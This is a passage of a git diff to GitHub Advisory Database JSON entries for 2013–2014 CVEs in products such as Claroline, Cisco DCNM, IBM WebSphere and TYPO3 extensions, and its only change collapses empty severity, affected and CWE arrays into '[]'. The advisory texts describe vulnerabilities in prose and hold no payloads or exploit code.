a/advisories/unreviewed/2022/05/GHSA-mrv5-8qm5-5cmw/GHSA-mrv5-8qm5-5cmw.json b/advisories/unreviewed/2022/05/GHSA-mrv5-8qm5-5cmw/GHSA-mrv5-8qm5-5cmw.json index a2d3b5fed1b..1c27fc802a7 100644 --- a/advisories/unreviewed/2022/05/GHSA-mrv5-8qm5-5cmw/GHSA-mrv5-8qm5-5cmw.json +++ b/advisories/unreviewed/2022/05/GHSA-mrv5-8qm5-5cmw/GHSA-mrv5-8qm5-5cmw.json @@ -7,12 +7,8 @@ "CVE-2013-6267" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in Claroline before 1.11.9 allow remote attackers to inject arbitrary web script or HTML via the (1) box parameter to messaging/messagebox.php, cidToEdit parameter to (2) adminregisteruser.php or (3) admin_user_course_settings.php in admin/, (4) module_id parameter to admin/module/module.php, or (5) offset parameter to admin/right/profile_list.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mv9w-9f6p-3qw9/GHSA-mv9w-9f6p-3qw9.json b/advisories/unreviewed/2022/05/GHSA-mv9w-9f6p-3qw9/GHSA-mv9w-9f6p-3qw9.json index 91fef370bf5..efbfd21267e 100644 --- a/advisories/unreviewed/2022/05/GHSA-mv9w-9f6p-3qw9/GHSA-mv9w-9f6p-3qw9.json +++ b/advisories/unreviewed/2022/05/GHSA-mv9w-9f6p-3qw9/GHSA-mv9w-9f6p-3qw9.json @@ -7,12 +7,8 @@ "CVE-2013-5490" ], "details": "Cisco Prime Data Center Network Manager (DCNM) before 6.2(1) allows remote attackers to read arbitrary text files via an XML external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue, aka Bug ID CSCud80148.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mvrj-5m9x-8628/GHSA-mvrj-5m9x-8628.json b/advisories/unreviewed/2022/05/GHSA-mvrj-5m9x-8628/GHSA-mvrj-5m9x-8628.json index 36c7bd4418d..b35de779e94 100644 --- a/advisories/unreviewed/2022/05/GHSA-mvrj-5m9x-8628/GHSA-mvrj-5m9x-8628.json +++ b/advisories/unreviewed/2022/05/GHSA-mvrj-5m9x-8628/GHSA-mvrj-5m9x-8628.json @@ -7,12 +7,8 @@ "CVE-2013-4006" ], "details": "IBM WebSphere Application Server (WAS) Liberty Profile 8.5 before 8.5.5.1 uses weak permissions for unspecified files, which allows local users to obtain sensitive information via standard filesystem operations.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-mvvw-4387-6v7x/GHSA-mvvw-4387-6v7x.json b/advisories/unreviewed/2022/05/GHSA-mvvw-4387-6v7x/GHSA-mvvw-4387-6v7x.json index ae3e2e14e93..df205699cb4 100644 --- a/advisories/unreviewed/2022/05/GHSA-mvvw-4387-6v7x/GHSA-mvvw-4387-6v7x.json +++ b/advisories/unreviewed/2022/05/GHSA-mvvw-4387-6v7x/GHSA-mvvw-4387-6v7x.json @@ -7,12 +7,8 @@ "CVE-2013-2577" ], "details": "Buffer overflow in XnView before 2.04 allows remote attackers to execute arbitrary code via a crafted PCT file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mwr3-wmhx-fgmh/GHSA-mwr3-wmhx-fgmh.json b/advisories/unreviewed/2022/05/GHSA-mwr3-wmhx-fgmh/GHSA-mwr3-wmhx-fgmh.json index a1c85a10b8f..c261ef5601f 100644 --- a/advisories/unreviewed/2022/05/GHSA-mwr3-wmhx-fgmh/GHSA-mwr3-wmhx-fgmh.json +++ b/advisories/unreviewed/2022/05/GHSA-mwr3-wmhx-fgmh/GHSA-mwr3-wmhx-fgmh.json @@ -7,12 +7,8 @@ "CVE-2013-3800" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.51, 8.52, and 8.53 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Business Interlinks.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-p2m8-vcqw-6xxm/GHSA-p2m8-vcqw-6xxm.json b/advisories/unreviewed/2022/05/GHSA-p2m8-vcqw-6xxm/GHSA-p2m8-vcqw-6xxm.json index a23f39c7f84..625af75d7c8 100644 --- a/advisories/unreviewed/2022/05/GHSA-p2m8-vcqw-6xxm/GHSA-p2m8-vcqw-6xxm.json +++ b/advisories/unreviewed/2022/05/GHSA-p2m8-vcqw-6xxm/GHSA-p2m8-vcqw-6xxm.json @@ -7,12 +7,8 @@ "CVE-2013-4032" ], "details": "The Fast Communications Manager (FCM) in IBM DB2 Enterprise Server Edition and Advanced Enterprise Server Edition 10.1 before FP3 and 10.5, when a multi-node configuration is used, allows remote attackers to cause a denial of service via vectors involving arbitrary data.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-p427-gxmq-74vc/GHSA-p427-gxmq-74vc.json b/advisories/unreviewed/2022/05/GHSA-p427-gxmq-74vc/GHSA-p427-gxmq-74vc.json index 66e18938f23..c91171af42e 100644 --- a/advisories/unreviewed/2022/05/GHSA-p427-gxmq-74vc/GHSA-p427-gxmq-74vc.json +++ b/advisories/unreviewed/2022/05/GHSA-p427-gxmq-74vc/GHSA-p427-gxmq-74vc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-p778-vgvc-wh52/GHSA-p778-vgvc-wh52.json b/advisories/unreviewed/2022/05/GHSA-p778-vgvc-wh52/GHSA-p778-vgvc-wh52.json index a3888433ef1..9db10d7fc64 100644 --- a/advisories/unreviewed/2022/05/GHSA-p778-vgvc-wh52/GHSA-p778-vgvc-wh52.json +++ b/advisories/unreviewed/2022/05/GHSA-p778-vgvc-wh52/GHSA-p778-vgvc-wh52.json @@ -7,12 +7,8 @@ "CVE-2013-4062" ], "details": "IBM Rational Policy Tester 8.5 before 8.5.0.5 does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof Jazz Team servers, obtain sensitive information, and modify the client-server data stream via a crafted certificate.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-p79x-8c49-gx6r/GHSA-p79x-8c49-gx6r.json b/advisories/unreviewed/2022/05/GHSA-p79x-8c49-gx6r/GHSA-p79x-8c49-gx6r.json index 544a207e004..5f1882f1cad 100644 --- a/advisories/unreviewed/2022/05/GHSA-p79x-8c49-gx6r/GHSA-p79x-8c49-gx6r.json +++ b/advisories/unreviewed/2022/05/GHSA-p79x-8c49-gx6r/GHSA-p79x-8c49-gx6r.json @@ -7,12 +7,8 @@ "CVE-2013-3806" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.11 and earlier allows remote authenticated users to affect availability via unknown vectors related to InnoDB, a different vulnerability than CVE-2013-3811.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-p7vj-c6jh-2j22/GHSA-p7vj-c6jh-2j22.json b/advisories/unreviewed/2022/05/GHSA-p7vj-c6jh-2j22/GHSA-p7vj-c6jh-2j22.json index 6ba0bc6ccae..ea893eb48e7 100644 --- a/advisories/unreviewed/2022/05/GHSA-p7vj-c6jh-2j22/GHSA-p7vj-c6jh-2j22.json +++ b/advisories/unreviewed/2022/05/GHSA-p7vj-c6jh-2j22/GHSA-p7vj-c6jh-2j22.json @@ -7,12 +7,8 @@ "CVE-2013-5457" ], "details": "Unspecified vulnerability in IBM Java SDK 7.0.0 before SR6, 6.0.1 before SR7, and 6.0.0 before SR15 allows remote attackers to execute arbitrary code via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -60,9 +56,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-p96j-jxxw-g7wf/GHSA-p96j-jxxw-g7wf.json b/advisories/unreviewed/2022/05/GHSA-p96j-jxxw-g7wf/GHSA-p96j-jxxw-g7wf.json index 669bc9c8688..1935f5192aa 100644 --- a/advisories/unreviewed/2022/05/GHSA-p96j-jxxw-g7wf/GHSA-p96j-jxxw-g7wf.json +++ b/advisories/unreviewed/2022/05/GHSA-p96j-jxxw-g7wf/GHSA-p96j-jxxw-g7wf.json @@ -7,12 +7,8 @@ "CVE-2013-5430" ], "details": "The Jazz Team Server component in IBM Security AppScan Enterprise 8.x before 8.8 has a default username and password, which makes it easier for remote authenticated users to obtain unspecified access to this component by leveraging this credential information in an environment with applicable component installation details.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-p9jw-9j8x-gjwg/GHSA-p9jw-9j8x-gjwg.json b/advisories/unreviewed/2022/05/GHSA-p9jw-9j8x-gjwg/GHSA-p9jw-9j8x-gjwg.json index 9d1035d31e2..8c38a75aefe 100644 --- a/advisories/unreviewed/2022/05/GHSA-p9jw-9j8x-gjwg/GHSA-p9jw-9j8x-gjwg.json +++ b/advisories/unreviewed/2022/05/GHSA-p9jw-9j8x-gjwg/GHSA-p9jw-9j8x-gjwg.json @@ -7,12 +7,8 @@ "CVE-2013-3749" ], "details": "Unspecified vulnerability in the Oracle Application Object Library component in Oracle E-Business Suite 11.5.10.2, 12.0.6, and 12.1.3 allows remote authenticated users to affect confidentiality via unknown vectors related to Logging. NOTE: the previous information is from the July 2013 CPU. Oracle has not commented on claims from a third party that the issue is due to storage of credentials in the (1) FND_LOG_MESSAGES database table or (2) log files by \"native login pages.\"", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-pcmv-x4fx-jc3f/GHSA-pcmv-x4fx-jc3f.json b/advisories/unreviewed/2022/05/GHSA-pcmv-x4fx-jc3f/GHSA-pcmv-x4fx-jc3f.json index d959e46f65c..875943350e4 100644 --- a/advisories/unreviewed/2022/05/GHSA-pcmv-x4fx-jc3f/GHSA-pcmv-x4fx-jc3f.json +++ b/advisories/unreviewed/2022/05/GHSA-pcmv-x4fx-jc3f/GHSA-pcmv-x4fx-jc3f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pgcg-mg2w-vwv5/GHSA-pgcg-mg2w-vwv5.json b/advisories/unreviewed/2022/05/GHSA-pgcg-mg2w-vwv5/GHSA-pgcg-mg2w-vwv5.json index 21b81b5e343..fe2f8aea364 100644 --- a/advisories/unreviewed/2022/05/GHSA-pgcg-mg2w-vwv5/GHSA-pgcg-mg2w-vwv5.json +++ b/advisories/unreviewed/2022/05/GHSA-pgcg-mg2w-vwv5/GHSA-pgcg-mg2w-vwv5.json @@ -7,12 +7,8 @@ "CVE-2013-6308" ], "details": "IBM Marketing Platform 9.1 before FP2 allows remote authenticated users to conduct phishing attacks and capture login credentials via an unspecified injection.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-pgg4-9mw9-46vg/GHSA-pgg4-9mw9-46vg.json b/advisories/unreviewed/2022/05/GHSA-pgg4-9mw9-46vg/GHSA-pgg4-9mw9-46vg.json index 97f03dbcc17..76285231586 100644 --- a/advisories/unreviewed/2022/05/GHSA-pgg4-9mw9-46vg/GHSA-pgg4-9mw9-46vg.json +++ b/advisories/unreviewed/2022/05/GHSA-pgg4-9mw9-46vg/GHSA-pgg4-9mw9-46vg.json @@ -7,12 +7,8 @@ "CVE-2013-4683" ], "details": "SQL injection vulnerability in the meta_feedit extension 0.1.10 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-phwx-rpp2-7qgc/GHSA-phwx-rpp2-7qgc.json b/advisories/unreviewed/2022/05/GHSA-phwx-rpp2-7qgc/GHSA-phwx-rpp2-7qgc.json index e2f64ff77dc..4361cc552bd 100644 --- a/advisories/unreviewed/2022/05/GHSA-phwx-rpp2-7qgc/GHSA-phwx-rpp2-7qgc.json +++ b/advisories/unreviewed/2022/05/GHSA-phwx-rpp2-7qgc/GHSA-phwx-rpp2-7qgc.json @@ -7,12 +7,8 @@ "CVE-2013-4307" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in repo/includes/EntityView.php in the Wikibase extension for MediaWiki 1.19.x before 1.19.8, 1.20.x before 1.20.7, and 1.21.x before 1.21.2 allow (1) remote attackers to inject arbitrary web script or HTML via a label in the \"In other languages\" section or (2) remote administrators to inject arbitrary web script or HTML via a description.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pj6q-46v2-3wvg/GHSA-pj6q-46v2-3wvg.json b/advisories/unreviewed/2022/05/GHSA-pj6q-46v2-3wvg/GHSA-pj6q-46v2-3wvg.json index f17d5c3051a..895a6e6ac61 100644 --- a/advisories/unreviewed/2022/05/GHSA-pj6q-46v2-3wvg/GHSA-pj6q-46v2-3wvg.json +++ b/advisories/unreviewed/2022/05/GHSA-pj6q-46v2-3wvg/GHSA-pj6q-46v2-3wvg.json @@ -7,12 +7,8 @@ "CVE-2013-6196" ], "details": "Cross-site scripting (XSS) vulnerability in HP Autonomy Ultraseek 5 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pj9h-f3x6-gp3q/GHSA-pj9h-f3x6-gp3q.json b/advisories/unreviewed/2022/05/GHSA-pj9h-f3x6-gp3q/GHSA-pj9h-f3x6-gp3q.json index c4dc98b3c6e..ae71c52f1fd 100644 --- a/advisories/unreviewed/2022/05/GHSA-pj9h-f3x6-gp3q/GHSA-pj9h-f3x6-gp3q.json +++ b/advisories/unreviewed/2022/05/GHSA-pj9h-f3x6-gp3q/GHSA-pj9h-f3x6-gp3q.json @@ -7,12 +7,8 @@ "CVE-2013-7186" ], "details": "Buffer overflow in Steinberg MyMp3PRO 5.0 (Build 5.1.0.21) allows remote attackers to execute arbitrary code via a long string in a .m3u file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pjf5-76hq-mj8q/GHSA-pjf5-76hq-mj8q.json b/advisories/unreviewed/2022/05/GHSA-pjf5-76hq-mj8q/GHSA-pjf5-76hq-mj8q.json index b8f1e42f5b5..7a1fc072d4e 100644 --- a/advisories/unreviewed/2022/05/GHSA-pjf5-76hq-mj8q/GHSA-pjf5-76hq-mj8q.json +++ b/advisories/unreviewed/2022/05/GHSA-pjf5-76hq-mj8q/GHSA-pjf5-76hq-mj8q.json @@ -7,12 +7,8 @@ "CVE-2014-0674" ], "details": "Cisco Video Surveillance Operations Manager (VSOM) does not require authentication for MySQL database connections, which allows remote attackers to obtain sensitive information, modify data, or cause a denial of service by leveraging network connectivity from a client system with a crafted host name, aka Bug ID CSCud10992.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pjjf-j58m-gr8m/GHSA-pjjf-j58m-gr8m.json b/advisories/unreviewed/2022/05/GHSA-pjjf-j58m-gr8m/GHSA-pjjf-j58m-gr8m.json index 5fe337dbc3b..89b77edd7c5 100644 --- a/advisories/unreviewed/2022/05/GHSA-pjjf-j58m-gr8m/GHSA-pjjf-j58m-gr8m.json +++ b/advisories/unreviewed/2022/05/GHSA-pjjf-j58m-gr8m/GHSA-pjjf-j58m-gr8m.json @@ -7,12 +7,8 @@ "CVE-2013-2298" ], "details": "Multiple stack-based buffer overflows in the XML parser in BOINC 7.x allow attackers to have unspecified impact via a crafted XML file, related to the scheduler.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pjqv-63hj-w892/GHSA-pjqv-63hj-w892.json b/advisories/unreviewed/2022/05/GHSA-pjqv-63hj-w892/GHSA-pjqv-63hj-w892.json index 0f308db7d71..9dd4f3d38a0 100644 --- a/advisories/unreviewed/2022/05/GHSA-pjqv-63hj-w892/GHSA-pjqv-63hj-w892.json +++ b/advisories/unreviewed/2022/05/GHSA-pjqv-63hj-w892/GHSA-pjqv-63hj-w892.json @@ -7,12 +7,8 @@ "CVE-2013-3424" ], "details": "Cross-site request forgery (CSRF) vulnerability in Administration and View pages in Cisco Secure Access Control System (ACS) allows remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCud75177.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pq52-qrpf-49xx/GHSA-pq52-qrpf-49xx.json b/advisories/unreviewed/2022/05/GHSA-pq52-qrpf-49xx/GHSA-pq52-qrpf-49xx.json index 3aac971a28b..c30be832608 100644 --- a/advisories/unreviewed/2022/05/GHSA-pq52-qrpf-49xx/GHSA-pq52-qrpf-49xx.json +++ b/advisories/unreviewed/2022/05/GHSA-pq52-qrpf-49xx/GHSA-pq52-qrpf-49xx.json @@ -7,12 +7,8 @@ "CVE-2014-0654" ], "details": "Cisco Context Directory Agent (CDA) allows remote attackers to modify the cache via a replay attack involving crafted RADIUS accounting messages, aka Bug ID CSCuj45383.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-prp4-9j5q-75c3/GHSA-prp4-9j5q-75c3.json b/advisories/unreviewed/2022/05/GHSA-prp4-9j5q-75c3/GHSA-prp4-9j5q-75c3.json index c596f906f92..b1de3d0992b 100644 --- a/advisories/unreviewed/2022/05/GHSA-prp4-9j5q-75c3/GHSA-prp4-9j5q-75c3.json +++ b/advisories/unreviewed/2022/05/GHSA-prp4-9j5q-75c3/GHSA-prp4-9j5q-75c3.json @@ -7,12 +7,8 @@ "CVE-2013-4012" ], "details": "IBM WebSphere Portal 8.0.0.x before 8.0.0.1 CF09, when Content Template Catalog 4.0 is used, does not require administrative privileges for Portal Application Archive (PAA) file installation, which allows remote authenticated users to modify data or cause a denial of service via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-prww-5xcf-552x/GHSA-prww-5xcf-552x.json b/advisories/unreviewed/2022/05/GHSA-prww-5xcf-552x/GHSA-prww-5xcf-552x.json index bd6ea27d891..44ff42c8954 100644 --- a/advisories/unreviewed/2022/05/GHSA-prww-5xcf-552x/GHSA-prww-5xcf-552x.json +++ b/advisories/unreviewed/2022/05/GHSA-prww-5xcf-552x/GHSA-prww-5xcf-552x.json @@ -7,12 +7,8 @@ "CVE-2013-4911" ], "details": "Cross-site request forgery (CSRF) vulnerability in Siemens WinCC (TIA Portal) 11 and 12 before 12 SP1 allows remote attackers to hijack the authentication of unspecified victims by leveraging improper configuration of SIMATIC HMI panels by the WinCC product.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pv7g-p37c-pv2g/GHSA-pv7g-p37c-pv2g.json b/advisories/unreviewed/2022/05/GHSA-pv7g-p37c-pv2g/GHSA-pv7g-p37c-pv2g.json index 128fbd17136..42f69957e5f 100644 --- a/advisories/unreviewed/2022/05/GHSA-pv7g-p37c-pv2g/GHSA-pv7g-p37c-pv2g.json +++ b/advisories/unreviewed/2022/05/GHSA-pv7g-p37c-pv2g/GHSA-pv7g-p37c-pv2g.json @@ -7,12 +7,8 @@ "CVE-2013-5424" ], "details": "IBM Flex System Manager (FSM) 1.3.0 allows remote attackers to bypass intended access restrictions, and create new user accounts or execute tasks, by leveraging an expired password for the system-level account.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-pvm9-3h6m-q3pm/GHSA-pvm9-3h6m-q3pm.json b/advisories/unreviewed/2022/05/GHSA-pvm9-3h6m-q3pm/GHSA-pvm9-3h6m-q3pm.json index ecdee32c5fd..12ec6ae5c6c 100644 --- a/advisories/unreviewed/2022/05/GHSA-pvm9-3h6m-q3pm/GHSA-pvm9-3h6m-q3pm.json +++ b/advisories/unreviewed/2022/05/GHSA-pvm9-3h6m-q3pm/GHSA-pvm9-3h6m-q3pm.json @@ -7,12 +7,8 @@ "CVE-2013-4070" ], "details": "The Portal application in IBM SPSS Collaboration and Deployment Services 4.2.1 before 4.2.1.3 IF3 and 5.0 before FP3 allows remote attackers to discover an internal password via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pvv4-25p8-vqx8/GHSA-pvv4-25p8-vqx8.json b/advisories/unreviewed/2022/05/GHSA-pvv4-25p8-vqx8/GHSA-pvv4-25p8-vqx8.json index fa8547073f1..4e17a1715d5 100644 --- a/advisories/unreviewed/2022/05/GHSA-pvv4-25p8-vqx8/GHSA-pvv4-25p8-vqx8.json +++ b/advisories/unreviewed/2022/05/GHSA-pvv4-25p8-vqx8/GHSA-pvv4-25p8-vqx8.json @@ -7,12 +7,8 @@ "CVE-2013-6404" ], "details": "Quassel core (server daemon) in Quassel IRC before 0.9.2 does not properly verify the user ID when accessing user backlogs, which allows remote authenticated users to read other users' backlogs via the bufferid in (1) 16/select_buffer_by_id.sql, (2) 16/select_buffer_by_id.sql, and (3) 16/select_buffer_by_id.sql in core/SQL/PostgreSQL/.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-pvw9-4hpx-qjf3/GHSA-pvw9-4hpx-qjf3.json b/advisories/unreviewed/2022/05/GHSA-pvw9-4hpx-qjf3/GHSA-pvw9-4hpx-qjf3.json index e7a722bdf7a..d1da7dc01e1 100644 --- a/advisories/unreviewed/2022/05/GHSA-pvw9-4hpx-qjf3/GHSA-pvw9-4hpx-qjf3.json +++ b/advisories/unreviewed/2022/05/GHSA-pvw9-4hpx-qjf3/GHSA-pvw9-4hpx-qjf3.json @@ -7,12 +7,8 @@ "CVE-2013-4634" ], "details": "SQL injection vulnerability in the jQuery autocomplete for indexed_search (rzautocomplete) extension before 0.0.9 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pww4-5pjw-3mw6/GHSA-pww4-5pjw-3mw6.json b/advisories/unreviewed/2022/05/GHSA-pww4-5pjw-3mw6/GHSA-pww4-5pjw-3mw6.json index 1a5ac31338c..fcee8f2f391 100644 --- a/advisories/unreviewed/2022/05/GHSA-pww4-5pjw-3mw6/GHSA-pww4-5pjw-3mw6.json +++ b/advisories/unreviewed/2022/05/GHSA-pww4-5pjw-3mw6/GHSA-pww4-5pjw-3mw6.json @@ -7,12 +7,8 @@ "CVE-2013-2289" ], "details": "Cross-site scripting (XSS) vulnerability in admin/templates/default.php in Batavi 1.2.2 allows remote attackers to inject arbitrary web script or HTML via the QUERY_STRING to admin/index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pwxv-qqr3-c69v/GHSA-pwxv-qqr3-c69v.json b/advisories/unreviewed/2022/05/GHSA-pwxv-qqr3-c69v/GHSA-pwxv-qqr3-c69v.json index f1c55a331ab..20e92951c92 100644 --- a/advisories/unreviewed/2022/05/GHSA-pwxv-qqr3-c69v/GHSA-pwxv-qqr3-c69v.json +++ b/advisories/unreviewed/2022/05/GHSA-pwxv-qqr3-c69v/GHSA-pwxv-qqr3-c69v.json @@ -7,12 +7,8 @@ "CVE-2013-7187" ], "details": "SQL injection vulnerability in form.php in the FormCraft plugin 1.3.7 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-px6j-f3g7-88m8/GHSA-px6j-f3g7-88m8.json b/advisories/unreviewed/2022/05/GHSA-px6j-f3g7-88m8/GHSA-px6j-f3g7-88m8.json index f2e6e0e6199..bc64402a2cb 100644 --- a/advisories/unreviewed/2022/05/GHSA-px6j-f3g7-88m8/GHSA-px6j-f3g7-88m8.json +++ b/advisories/unreviewed/2022/05/GHSA-px6j-f3g7-88m8/GHSA-px6j-f3g7-88m8.json @@ -7,12 +7,8 @@ "CVE-2013-5414" ], "details": "The migration functionality in IBM WebSphere Application Server (WAS) 7.0 before 7.0.0.31, 8.0 before 8.0.0.8, and 8.5 before 8.5.5.1 does not properly support the distinction between the admin role and the adminsecmanager role, which allows remote authenticated users to gain privileges in opportunistic circumstances by accessing resources in between a migration and a role evaluation.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-px7w-6p2f-6x8x/GHSA-px7w-6p2f-6x8x.json b/advisories/unreviewed/2022/05/GHSA-px7w-6p2f-6x8x/GHSA-px7w-6p2f-6x8x.json index f9bc9b5fc0c..b77e77c0232 100644 --- a/advisories/unreviewed/2022/05/GHSA-px7w-6p2f-6x8x/GHSA-px7w-6p2f-6x8x.json +++ b/advisories/unreviewed/2022/05/GHSA-px7w-6p2f-6x8x/GHSA-px7w-6p2f-6x8x.json @@ -7,12 +7,8 @@ "CVE-2013-5011" ], "details": "Unquoted Windows search path vulnerability in the client in Symantec Endpoint Protection (SEP) 11.x before 11.0.7.4 and 12.x before 12.1.2 RU2 and Endpoint Protection Small Business Edition 12.x before 12.1.2 RU2 allows local users to gain privileges via a crafted program in the %SYSTEMDRIVE% directory.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pxgr-9vwp-grpq/GHSA-pxgr-9vwp-grpq.json b/advisories/unreviewed/2022/05/GHSA-pxgr-9vwp-grpq/GHSA-pxgr-9vwp-grpq.json index 635af15710e..3e370aaf059 100644 --- a/advisories/unreviewed/2022/05/GHSA-pxgr-9vwp-grpq/GHSA-pxgr-9vwp-grpq.json +++ 